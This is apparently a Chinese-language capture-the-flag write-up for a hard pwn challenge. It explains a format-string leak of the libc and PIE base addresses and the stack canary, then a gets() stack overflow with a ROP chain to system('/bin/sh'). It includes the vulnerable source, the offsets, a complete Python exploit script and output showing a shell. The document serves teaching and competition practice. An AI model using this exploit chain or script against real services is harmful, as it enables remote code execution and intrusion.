| 项目 | 内容 |
|---|---|
| 平台题名 | 麒麟阁 · 长老密室 / Elder’s Chamber |
| 分类 / 难度 | Pwn / Hard |
| 附件 | chamber、libc.so.6、ld-2.31.so |
| 服务 | nc <host> <port>(容器内 socat 监听 9999,走 pty + stty raw -echo) |
| 环境 | ubuntu:20.04,glibc 2.31 |
| 保护 | NX on / PIE on / canary on / Full RELRO |
1. 三个漏洞 / 三个障碍
菜单:
=== 麒麟阁 · 长老密室 ===
唯有真正参透本殿防御之人,方可通行。
1) 留言 2) 陈述来意 3) 离开
>
源码(随包 src/chamber.c):
void leave_message(void) {
char buf[256];
puts("给长老留言(你的留言会被原样读回给你):");
printf("> ");
if (!fgets(buf, sizeof(buf), stdin)) exit(0);
printf(buf); /* ← 漏洞 1:格式化字符串 */
putchar('\n');
}
void state_business(void) {
char buf[64];
puts("详细陈述你的来意:");
printf("> ");
gets(buf); /* ← 漏洞 2:栈溢出 */
}
于是本题的"三个障碍"和对应的"三个解法":
| 障碍 | 解法 |
|---|---|
| PIE 开启,地址全随机 | printf(buf) 泄露 PIE 基址 |
| Canary 开启,溢出会被拦 | printf(buf) 泄露金丝雀 |
| NX 开启,栈不可执行 | 泄露 libc → ROP system("/bin/sh") |
一道题把"泄露"和"打"两段完整串起来,难度正好卡在 Hard 档的起点。
2. 保护确认
$ checksec ./chamber
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Full RELRO 意味着 GOT 只读,ret2dlresolve / GOT 改写这类手法直接出局,
只能老老实实泄露 libc 再 ROP。
3. 第一段:格式化字符串一次性泄露四件套
printf(buf) 的 buf 在 leave_message 的栈上(char buf[256],位于 rbp-0x110)。
fgets 限制了 256 字节,但我们只需要几十字节的格式串。
一次性打印四个位置参数:
X1=%1$p|X33=%33$p|X39=%39$p|X41=%41$p|END
实测回显(同一次连接):
X1=0x7f41cbe11a03|X33=0x557daf705045|X39=0xc52d01c5ea6cd600|X41=0x557daf7043c1|END
对照:
| 参数 | 值 | 含义 | 偏移 |
|---|---|---|---|
%1$p |
0x7f41cbe11a03 |
libc 内固定地址 | 0x1eca03 |
%33$p |
0x557daf705045 |
PIE 内 .rodata 提示串地址 |
0x2045 |
%39$p |
0xc52d01c5ea6cd600 |
栈金丝雀 | 末位 00 是标志 |
%41$p |
0x557daf7043c1 |
main 里 call leave_message 的下一条指令 |
0x13c1 |
于是:
libc_base = X1 - 0x1eca03
pie_base = X33 - 0x2045
canary = X39
怎么确认偏移
三个自检点是硬性的:
%1$p与%33$p算出来的 base 都必须是页对齐(末三位000)。 算出来不是页对齐,就一定是用错了偏移,直接换一个重新推;- canary 最低字节必须是
0x00(__stack_chk_fail依赖这一点)—— 实测0xc52d01c5ea6cd600,最低字节00,对; %41$p - pie_base必须是一个固定的小偏移(本题0x13c1), 多次重启值不变。
验证:
libc=0x7f41cbc25000 (0x7f41cbe11a03 - 0x1eca03,页对齐 ✓)
pie =0x557daf703000 (0x557daf705045 - 0x2045,页对齐 ✓)
canary=0xc52d01c5ea6cd600
ret_off=0x13c1 (0x557daf7043c1 - 0x557daf703000)
%1$p 为什么是 libc 指针
%1$p 打印的是 printf 在被调用那一刻、rsp+8 附近的内容,也就是
printf 的调用者(leave_message)放在栈上的一个"残留值"。在本题的
ubuntu:20.04 + glibc 2.31 里,它恰好是 libc 镜像里 0x1eca03 那个位置的地址
(_IO_2_1_stdout_ 的 vtable 附近,属于 libc 的 data.rel.ro 段)。
这个偏移与 libc 文件强绑定——所以必须用随包的 libc.so.6,换成宿主自带
libc 算出来的基址一定错。
4. 第二段:state_business 栈溢出
state_business:
push rbp
mov rbp, rsp
sub rsp, 0x50 ; 但 gets 写入的是 rbp-0x50 起的 64 字节?
; 实际: lea rax,[rbp-0x50]; call gets
栈布局:
rbp-0x50 ──► buf[64] 偏移 0
rbp-0x08 ──► canary 偏移 0x48
rbp ──► saved rbp 偏移 0x50
rbp+0x08 ──► return address 偏移 0x58
所以 payload:
'A' * 0x48 + canary(8) + fake_rbp(8) + ret + pop_rdi + "/bin/sh" + system
ret 那一个纯 ret 是为了 16 字节栈对齐——system 内部有 movaps,
栈不对齐直接 SIGSEGV。这是初学者最常踩的坑:链写得完全正确,但一进 system
就崩,还以为是地址算错了。
libc 偏移(libc.so.6 为 glibc 2.31 / Ubuntu 20.04):
| 符号 | 偏移 |
|---|---|
system |
0x52290 |
/bin/sh |
0x1b45bd |
pop rdi ; ret |
0x23b6a |
ret |
0x23b6b |
5. 完整 Exp
#!/usr/bin/env python3
import socket, struct, sys, time, re
HOST, PORT = sys.argv[1], int(sys.argv[2])
# ---- 泄露偏移 ----
OFF_LIBC = 0x1eca03 # %1$p
OFF_PIE = 0x2045 # %33$p
IDX_CANARY = 39 # %39$p
IDX_RET = 41 # %41$p
# ---- state_business 栈布局 ----
BUF_TO_CANARY = 0x48
BUF_TO_RET = 0x58
# ---- glibc 2.31 ----
OFF_SYSTEM = 0x52290
OFF_BINSH = 0x1b45bd
OFF_POPRDI = 0x23b6a
OFF_RET = 0x23b6b
s = socket.create_connection((HOST, PORT), timeout=10)
buf = b""
def ru(tok, to=6):
global buf
if isinstance(tok, str): tok = tok.encode()
s.settimeout(to)
while tok not in buf:
try: d = s.recv(4096)
except socket.timeout: break
if not d: break
buf += d
i = buf.find(tok)
r, buf = (buf, b"") if i < 0 else (buf[:i+len(tok)], buf[i+len(tok):])
return r
def sl(x):
s.sendall((x.encode() if isinstance(x, str) else x) + b"\n")
# ---------- 步骤 1:一次泄露四件套 ----------
ru(b"> ")
sl("1")
ru(b"> ")
s.sendall(b"X1=%1$p|X33=%33$p|X39=%39$p|X41=%41$p|END\n")
time.sleep(0.5)
out = ru(b"> ", 6).decode("utf-8", "replace")
def grab(tag):
m = re.search(tag + r"=(0x[0-9a-f]+)", out)
return int(m.group(1), 16) if m else None
L, P, C, R = grab("X1"), grab("X33"), grab("X39"), grab("X41")
assert None not in (L, P, C, R), out
libc_base = L - OFF_LIBC
pie_base = P - OFF_PIE
canary = C
print("[+] libc=%#x pie=%#x canary=%#x ret_off=%#x"
% (libc_base, pie_base, canary, R - pie_base))
# ---------- 步骤 2:gets 溢出 ----------
payload = b"A" * BUF_TO_CANARY
payload += struct.pack("<Q", canary) # 金丝雀
payload += struct.pack("<Q", 0) # saved rbp 随便填
payload += struct.pack("<Q", libc_base + OFF_RET)
payload += struct.pack("<Q", libc_base + OFF_POPRDI)
payload += struct.pack("<Q", libc_base + OFF_BINSH)
payload += struct.pack("<Q", libc_base + OFF_SYSTEM)
sl("2")
ru(b"> ")
s.sendall(payload + b"\n")
time.sleep(0.5)
# ---------- 步骤 3:拿 flag ----------
s.sendall(b"cat /flag; echo __DONE__\n")
time.sleep(0.9)
s.settimeout(3)
got = b""
try:
while b"__DONE__" not in got:
d = s.recv(4096)
if not d: break
got += d
except socket.timeout:
pass
print(got.decode("utf-8", "replace"))
6. 实际验证
节点一次性容器(lj-pwn-hard-03-trap:v1,-p 29913:9999):
[echo] X1=0x7f41cbe11a03|X33=0x557daf705045|X39=0xc52d01c5ea6cd600|X41=0x557daf7043c1|END
[+] libc=0x7f41cbc25000 pie=0x557daf703000 canary=0xc52d01c5ea6cd600 ret_off=0x13c1
[out] /bin/sh: 0: can't access tty; job control turned off
$ flag{local_verify_h03}__DONE__
$
can't access tty 是正常的——socat 不是真正的终端时 sh 打出的告警,
不影响命令执行。
7. 另一条路:PIE-only ROP + ret2main
官方 exp 里还写了第二种打法,更"教科书":
- 格式化字符串只取 canary + PIE 基址;
- 第一次溢出用 PIE 内 ROP(
pop rdi; ret@pie+0x1463、puts@plt@pie+0x1040、puts@got@pie+0x3f98)调puts(puts@got)泄露puts真实地址 → 反推 libc; - 链尾回到
main(pie+0x1374)实现 ret2main; - 第二次溢出投递完整 ret2libc。
这条路的优点是"不依赖碰巧泄露的 libc 指针"——如果某个二进制没有 %1$p 这种
便利泄露,就得用这套。但本题 %1$p 白送 libc 基址,直接一发到底更快。
8. 踩坑记录
| 现象 | 原因 | 处理 |
|---|---|---|
| 算出的 libc/pie base 不是页对齐 | 用了宿主 libc 的偏移,或记错了 0x1eca03 |
必须用随包的 libc.so.6;先用 %1$p 和 %33$p 两个泄露互相验证页对齐 |
拿到 shell 后 cat /flag 无输出 |
栈对齐差 8 字节,system 内 movaps 崩 |
链首加纯 ret(0x23b6b) |
溢出后直接 SIGABRT,报 stack smashing detected |
canary 没泄露对,或写的位置偏了 8 字节 | 检查 %39$p 最低字节是不是 00;检查 BUF_TO_CANARY = 0x48 是否与 rbp-0x50 一致 |
| payload 里有字节被吃掉 | 早期镜像 socat 带 pty 且没 stty raw,行规程处理了 0x7f/0x15/0x03 等控制字节 |
现行镜像 run-chamber.sh 里已加 stty raw -echo |
%41$p 算出的偏移每次不同 |
实际上它稳定(0x13c1);若不稳定说明取错了参数序号 |
把 %40$p~%42$p 一起打出来对照 |
用 %33$p 算 pie 但在别的连接里用 |
每个连接都是新进程,ASLR 重新随机 | 泄露和使用必须在同一条连接里完成 |
9. 一句话总结
一道题演完整个 pwn 基础链路:
printf(buf)打一发%1$p|%33$p|%39$p|%41$p拿到 libc 基址 + PIE 基址 + 金丝雀 + 返回偏移,再用gets盖0x48字节 + 金丝雀 +ret/pop rdi//bin/sh/system收工。全保护开着,但没有一个能挡住 “泄露在前、溢出在后"的经典套路。